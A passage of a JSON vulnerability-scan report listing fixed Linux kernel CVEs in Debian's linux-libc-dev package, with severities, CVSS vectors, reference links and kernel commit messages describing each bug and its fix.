"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/3779b7b9e7d1c8ba4738f9d327de3b0288cefe9b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89526.mbox", "https://git.kernel.org/stable/c/3779b7b9e7d1c8ba4738f9d327de3b0288cefe9b", "https://git.kernel.org/stable/c/3861eeabaebe243050952b34063763527c44e1fe", "https://git.kernel.org/stable/c/577097455d084610fc31e91e6a61c5793b6f04ba", "https://git.kernel.org/stable/c/5ab3f6d882fe07ae5e61d0bcfeea00b9409155c2", "https://git.kernel.org/stable/c/6388f2ed36c10f59d926735b92c2b152d2c635e5", "https://git.kernel.org/stable/c/f84ec84d8d4bc65f9ae23372570349687f66fa39", "https://linux.oracle.com/cve/CVE-2026-89526.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89526", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89526" ], "PublishedDate": "2026-09-11T20:19:35.383Z", "LastModifiedDate": "2026-10-30T13:20:18.373Z" }, { "VulnerabilityID": "CVE-2026-89530", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89530", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d0588e22c02d5fd70de70ce43f66e25027dcd8fa235fff0ffe765f37da05de28", "Title": "kernel: svcrdma: Reject inline replies that overflow the pull-up buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsvcrdma: Reject inline replies that overflow the pull-up buffer\n\nAn RPC-over-RDMA client can request a reply, such as an NFS READ\npayload, without providing a Write list or a Reply chunk to carry\nit. When such a reply needs more scatter/gather entries than the\ndevice's Send Queue supports, svc_rdma_pull_up_needed() selects\npull-up and svc_rdma_pull_up_reply_msg() linearizes the whole\nreply into sctxt-\u003esc_xprt_buf. That buffer is only sc_max_req_size\nbytes, while the reply on this path is bounded only by the client's\nrequest, so svc_rdma_xb_linearize() copies past the end of the\nbuffer and corrupts adjacent slab memory. The oversized length is\nthen stored in sc_sges[0].length and posted, so the device also\nreads beyond the mapped region.\n\nThe SGE-exhaustion branch is the only pull-up path that can exceed\nthe buffer: the threshold branch pulls up only replies smaller\nthan RPCRDMA_PULLUP_THRESH, and replies that fit the device's SGE\nbudget are sent directly without linearization. Make\nsvc_rdma_pull_up_needed() report -E2BIG when the reply it would\npull up cannot fit sc_max_req_size, and fail the request with\nERR_CHUNK as RFC 8166 Section 4.5.3 directs rather than dropping\nthe connection.\n\nThe helper no longer answers a simple yes/no question: it now\nreports pull-up, no pull-up, or -E2BIG for a reply too large to\nlinearize. Rename svc_rdma_pull_up_needed() to\nsvc_rdma_check_pull_up() so its name no longer implies a boolean\npredicate.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89530", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/0fbe20dfe74b783d255bf389a6ea77aa25dc7860%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89530.mbox", "https://git.kernel.org/stable/c/0fbe20dfe74b783d255bf389a6ea77aa25dc7860", "https://git.kernel.org/stable/c/1949dd1576f7a8aa161b1330c6125df9d53046d5", "https://git.kernel.org/stable/c/8068358f445a11296328ffa7c524701596814a17", "https://git.kernel.org/stable/c/8ec60eb51fae37cd3d334ff26e4a7d6fb21ff7cf", "https://git.kernel.org/stable/c/b73011049dbe909f73fd9620d94ef1757d7af2eb", "https://git.kernel.org/stable/c/fcd91b9957462d398792201c239dffaeff1cc8b2", "https://linux.oracle.com/cve/CVE-2026-89530.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89530", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89530" ], "PublishedDate": "2026-09-11T20:19:35.85Z", "LastModifiedDate": "2026-10-30T13:20:18.853Z" }, { "VulnerabilityID": "CVE-2026-89536", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89536", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b19531ed4feb89512074a475e0f2466232caa1fe0198c7625bdf8c665f354229", "Title": "kernel: SUNRPC: wait for in-flight client TLS handshake callback", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nSUNRPC: wait for in-flight client TLS handshake callback\n\nxs_tls_handshake_sync() gives xs_tls_handshake_done() a reference to the\nlower transport before submitting the handshake request. On timeout or\nsignal, the synchronous waiter drops that reference after calling\ntls_handshake_cancel().\n\nhandshake_req_cancel() returns false when handshake_complete() has\nalready marked the request complete. In that case the completion callback\ncan still be running, so dropping the callback-owned reference in the\nwaiter can free the lower transport before xs_tls_handshake_done() stores\nxprt_err or drops its own reference.\n\nIf cancellation loses to completion, wait until xs_tls_handshake_done()\nsignals handshake_done and let the callback release its reference. This\nmirrors the server-side handshake lifetime handling and keeps the timeout\nor signal return value unchanged.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89536", "https://git.kernel.org/linus/a89dd597458848b463d284b15e42a8078beeb046%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89536.mbox", "https://git.kernel.org/stable/c/15431820f448e09f8029b670d5c82aa5917d4625", "https://git.kernel.org/stable/c/1de391e8b94e31b45c19c16dbf315e294810c7de", "https://git.kernel.org/stable/c/7fbb6d2ab0391eb8d1f1a68e6bc263ef02cea61b", "https://git.kernel.org/stable/c/a89dd597458848b463d284b15e42a8078beeb046", "https://git.kernel.org/stable/c/fb43997407bc17ee39bac81ab708101312e255f5", "https://linux.oracle.com/cve/CVE-2026-89536.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89536", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89536" ], "PublishedDate": "2026-09-11T20:19:36.613Z", "LastModifiedDate": "2026-10-19T09:17:48.317Z" }, { "VulnerabilityID": "CVE-2026-89545", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89545", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2756b88e33422f073d518b2bd6702f1e2351a39693f3567fe47309a39d57ed5c", "Title": "kernel: sunrpc: defer rq_argp and rq_resp free until after RCU grace period", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsunrpc: defer rq_argp and rq_resp free until after RCU grace period\n\nsvc_rqst_free() frees rqstp-\u003erq_argp and rqstp-\u003erq_resp synchronously\nvia kfree(), but defers the rqstp struct free via kfree_rcu(). After\nsvc_exit_thread() calls list_del_rcu() and svc_rqst_free(), there is\na window where RCU readers that started before list_del_rcu() can still\ntraverse the thread list and find the rqstp. These readers (e.g.\nnfsd_nl_rpc_status_get_dumpit()) dereference rqstp-\u003erq_argp, which has\nalready been freed — a use-after-free.\n\nFix this by moving the kfree of rq_argp and rq_resp into an explicit\ncall_rcu() callback alongside the struct free. Resources not accessed\nby RCU readers (bvec, buffer pages, scratch folio, auth_data) remain\nsynchronously freed.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89545", "https://access.redhat.com/security/cve/CVE-2026-89545", "https://git.kernel.org/linus/c479bde671cbe2f9e152834a8b0eb7c3c295bbaf%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89545.mbox", "https://git.kernel.org/stable/c/08bc49e0541260bf294962cf889a32a2d2713ad6", "https://git.kernel.org/stable/c/0ea49d69aa806008b2424c8cf21cf746b9963967", "https://git.kernel.org/stable/c/c479bde671cbe2f9e152834a8b0eb7c3c295bbaf", "https://git.kernel.org/stable/c/c977158237bccc3d2512d5b17c47ee3760dc8839", "https://git.kernel.org/stable/c/e0c5693d3f9a5d4911735ab0e0eba4eecb1f1090", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-wc7hjetb1xrq.toml", "https://linux.oracle.com/cve/CVE-2026-89545.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89545", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89545" ], "PublishedDate": "2026-09-11T20:19:37.84Z", "LastModifiedDate": "2026-10-30T13:20:21.04Z" }, { "VulnerabilityID": "CVE-2026-89563", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89563", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:adf886d92af8dbcdb35f8109cb5e08d3db0613ec8471c9ec431f63fd5344aebe", "Title": "kernel: ip6_tunnel: use skb_cow_head() in ip6_tnl_xmit()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: use skb_cow_head() in ip6_tnl_xmit()\n\nip6_tnl_xmit() may need to expand headroom before it can push the\nouter IPv6 and optional encap headers. It currently does that with\nskb_realloc_headroom(), copies skb-\u003esk ownership, consumes the original\nskb, and then continues processing with the replacement skb kept only in\nits local variable.\n\nThat is safe only if the helper cannot fail afterwards. But this helper\nstill has post-reallocation error exits. collect_md tunnels reject\nnon-NONE encap after the replacement, and ip6_tnl_encap() can also fail\nlater. In those cases the helper returns an error to its callers while\nthe caller still only has the original skb pointer.\n\nBoth ip6_tnl_start_xmit() and the IPv6 GRE paths free the caller skb on\nerror, so they can end up freeing an skb that ip6_tnl_xmit() already\nconsumed.\n\nUse skb_cow_head() instead. It provides the required headroom and\nwritability without privately replacing the caller-owned skb, so later\nerror returns cannot leave callers with a stale pointer.\n\nThe Ethernet users, ip6gretap and ip6erspan, clear IFF_TX_SKB_SHARING\nand already call skb_cow_head() before entering ip6_tnl_xmit(). They do\nnot rely on the removed skb_shared() reallocation. This also makes the\nIPv6 tunnel path consistent with ip_tunnel_xmit().", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89563", "https://git.kernel.org/linus/87f21b59ddc618eff9670c174842964ad65fdade%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89563.mbox", "https://git.kernel.org/stable/c/37df5bc6b5ccad88c2faa0f5466f150178882b74", "https://git.kernel.org/stable/c/629d5557e635cdbc109a14ed913ba5a540e3f79a", "https://git.kernel.org/stable/c/6e8eff8ed13b14708bc39f170144eacde494aac6", "https://git.kernel.org/stable/c/87f21b59ddc618eff9670c174842964ad65fdade", "https://git.kernel.org/stable/c/8fc56ca49fc0ee1725b55c67bb43ab0dd01f3f52", "https://git.kernel.org/stable/c/b36dfd6e8cff00cea81c11cc0af88d1564763461", "https://git.kernel.org/stable/c/dc1a319a4815c074914e2812e0e9cd0164ca682b", "https://git.kernel.org/stable/c/defa0adeff132cc90ed66915b9a104d9393e1e54", "https://linux.oracle.com/cve/CVE-2026-89563.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89563", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89563" ], "PublishedDate": "2026-09-11T20:19:40.193Z", "LastModifiedDate": "2026-10-19T09:17:52.04Z" }, { "VulnerabilityID": "CVE-2026-89564", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89564", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:25343be0904677249362e9a13b808d50356425982777d9cc4954b8f0fada2520", "Title": "kernel: ip: orphan prefetched skbs before multicast forwarding", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip: orphan prefetched skbs before multicast forwarding\n\nIPv4 and IPv6 input preserve an skb-\u003esk association installed by\nbpf_sk_assign() so that local delivery can use the selected socket under\nRCU. Both address families can also prefetch a socket in UDP early demux.\nIn both paths (BPF and UDP early demux) a reference is not guaranteed to\nbe held on the socket.\n\nWhen a multicast packet is not locally deliverable, IPv6 hands the\noriginal skb to ip6_mr_input(). IPv4's ip_mr_input() similarly keeps the\noriginal skb when local delivery is not needed. Either path can put the\nskb on an unresolved multicast route queue or forward it after the\nreceive-side RCU section ends.\n\nAfter the prefetched socket is destroyed, a later skb free invokes\nsock_pfree() and dereferences the stale skb-\u003esk. Orphan the skb before\neach non-local multicast forwarding path. Local delivery retains the\noriginal skb; the existing skb_clone() calls provide multicast forwarding\nwith a socket-free clone.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89564", "https://access.redhat.com/security/cve/CVE-2026-89564", "https://git.kernel.org/linus/e36ce6e78fe3fc3c071a26750783b7ba081ce10d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89564.mbox", "https://git.kernel.org/stable/c/592b91f41d4f35e37c9e0be1c46a4c28437642cd", "https://git.kernel.org/stable/c/882212d317a7c16ab70d20656f6b1c42abada9f6", "https://git.kernel.org/stable/c/a8af6fbac895f057c4b8ff8a2e3fb4c5827fe4ce", "https://git.kernel.org/stable/c/e36ce6e78fe3fc3c071a26750783b7ba081ce10d", "https://git.kernel.org/stable/c/e62aef7d6a5b27569bf540bbe11a9482117ff588", "https://git.kernel.org/stable/c/f1281d4b99089fbaf0d3579bba62a814ebb4de4d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-re4bg644ex6l.toml", "https://linux.oracle.com/cve/CVE-2026-89564.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89564", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89564" ], "PublishedDate": "2026-09-11T20:19:40.313Z", "LastModifiedDate": "2026-10-30T13:20:21.897Z" }, { "VulnerabilityID": "CVE-2026-89569", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89569", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:404a0df01235866c0835c725d4709aba9252fdc2df73dc8462683dabd86ca963", "Title": "kernel: Bluetooth: RFCOMM: serialize security confirmation handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: RFCOMM: serialize security confirmation handling\n\nrfcomm_security_cfm() looks up a session on session_list and then walks\nits DLC list without holding rfcomm_mutex. Since RFCOMM session teardown\nuses rfcomm_mutex, krfcommd can close and free the same session and DLCs\nconcurrently:\n\n hci_rx_work krfcommd\n ----------- ---------\n rfcomm_session_get()\n rfcomm_lock()\n rfcomm_session_close()\n rfcomm_dlc_unlink()\n rfcomm_session_del()\n kfree(s)\n rfcomm_unlock()\n walk s-\u003edlcs\n\nThe callback can then read a freed session list head and touch freed DLCs\nwhile updating their flags or timers.\n\nSerialize the session lookup and DLC traversal in rfcomm_security_cfm()\nwith rfcomm_mutex. This matches the existing RFCOMM session lifetime\nrules and prevents concurrent rfcomm_session_del() / rfcomm_dlc_unlink()\nfrom tearing the objects down while the callback is using them.\n\nKASAN reported:\n\n BUG: KASAN: slab-use-after-free in rfcomm_security_cfm+0x41c/0x440\n Read of size 8 at addr ffff888111fb3960 by task kworker/u17:1/89\n Workqueue: hci0 hci_rx_work\n Call Trace:\n rfcomm_security_cfm+0x41c/0x440\n hci_encrypt_cfm+0x139/0x590\n hci_encrypt_change_evt+0x37b/0xc40\n hci_event_packet+0x71b/0xb20\n hci_rx_work+0x293/0x730\n Allocated by task 69:\n rfcomm_session_add+0x9e/0x2f0\n rfcomm_run+0x44b/0x41e0\n Freed by task 69:\n kfree+0x131/0x3c0\n rfcomm_session_del+0x188/0x220\n rfcomm_run+0x1985/0x41e0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89569", "https://git.kernel.org/linus/759c185d0bbdb131357408f50b8735e04ed3caff%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89569.mbox", "https://git.kernel.org/stable/c/1b7841ffad08e911e8c4b9470f3fa08423568940", "https://git.kernel.org/stable/c/3873f3449701b3dc98cba577923be6493598e7a1", "https://git.kernel.org/stable/c/62ce8b33eb238cf18c15207332fbdc26d858f592", "https://git.kernel.org/stable/c/759c185d0bbdb131357408f50b8735e04ed3caff", "https://git.kernel.org/stable/c/7ded3264106418c6456ccceaafd9fda596ce12c3", "https://git.kernel.org/stable/c/82425b14f0fb22e46cfddc56d6465570f5ed0ce6", "https://git.kernel.org/stable/c/946d76db77ee5f922968ce558629ae47b381e3fc", "https://git.kernel.org/stable/c/fbf7961964a6e93360179f64712320ae9a1e9577", "https://linux.oracle.com/cve/CVE-2026-89569.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89569", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89569" ], "PublishedDate": "2026-09-11T20:19:40.92Z", "LastModifiedDate": "2026-10-19T09:17:52.73Z" }, { "VulnerabilityID": "CVE-2026-89607", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89607", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d7baa9d259db8a158c9a9b7ba4ecfc1675c427369d144316aaa59dc55abcc4cc", "Title": "kernel: ecryptfs: reject oversized encrypted_key_size in parse_tag_3_packet", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\necryptfs: reject oversized encrypted_key_size in parse_tag_3_packet\n\nparse_tag_3_packet() set encrypted_key_size from the Tag 3 packet body\nwithout bounding it against ECRYPTFS_MAX_KEY_BYTES (64). When\nencrypted_key_size \u003e 64, decrypt_passphrase_encrypted_session_key()\nsets decrypted_key_size = encrypted_key_size and performs two\nout-of-bounds writes:\n\n1. crypto_skcipher_decrypt() writes encrypted_key_size bytes into\n decrypted_key[64] via scatterlist, overflowing into the parent\n ecryptfs_auth_tok struct.\n2. memcpy(crypt_stat-\u003ekey, decrypted_key, decrypted_key_size) writes\n into crypt_stat-\u003ekey[64], corrupting root_iv, keysig_list, and\n mutexes in ecryptfs_crypt_stat.\n\nOnly AES-192 (cipher code 0x08) enables this because it sets\ncrypt_stat-\u003ekey_size = 24 independently of encrypted_key_size,\nallowing crypto_skcipher_setkey() to succeed while encrypted_key_size\nexceeds ECRYPTFS_MAX_KEY_BYTES.\n\nThe PKI decryption path (parse_tag_65_packet) already validates\ndecrypted_key_size \u003c= ECRYPTFS_MAX_KEY_BYTES; the passphrase path\nomits this check.\n\nBound encrypted_key_size against ECRYPTFS_MAX_KEY_BYTES (64) rather\nthan ECRYPTFS_MAX_ENCRYPTED_KEY_BYTES (512). The 64-byte limit also\nprotects the 512-byte encrypted_key[] buffer, so the former 512-byte\ncheck is removed as redundant.\n\n[tyhicks: Adjust the code comment to refer to macros representing the\n buffer sizes rather than mentioning the buffer size values since they\n may change in the future]", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89607", 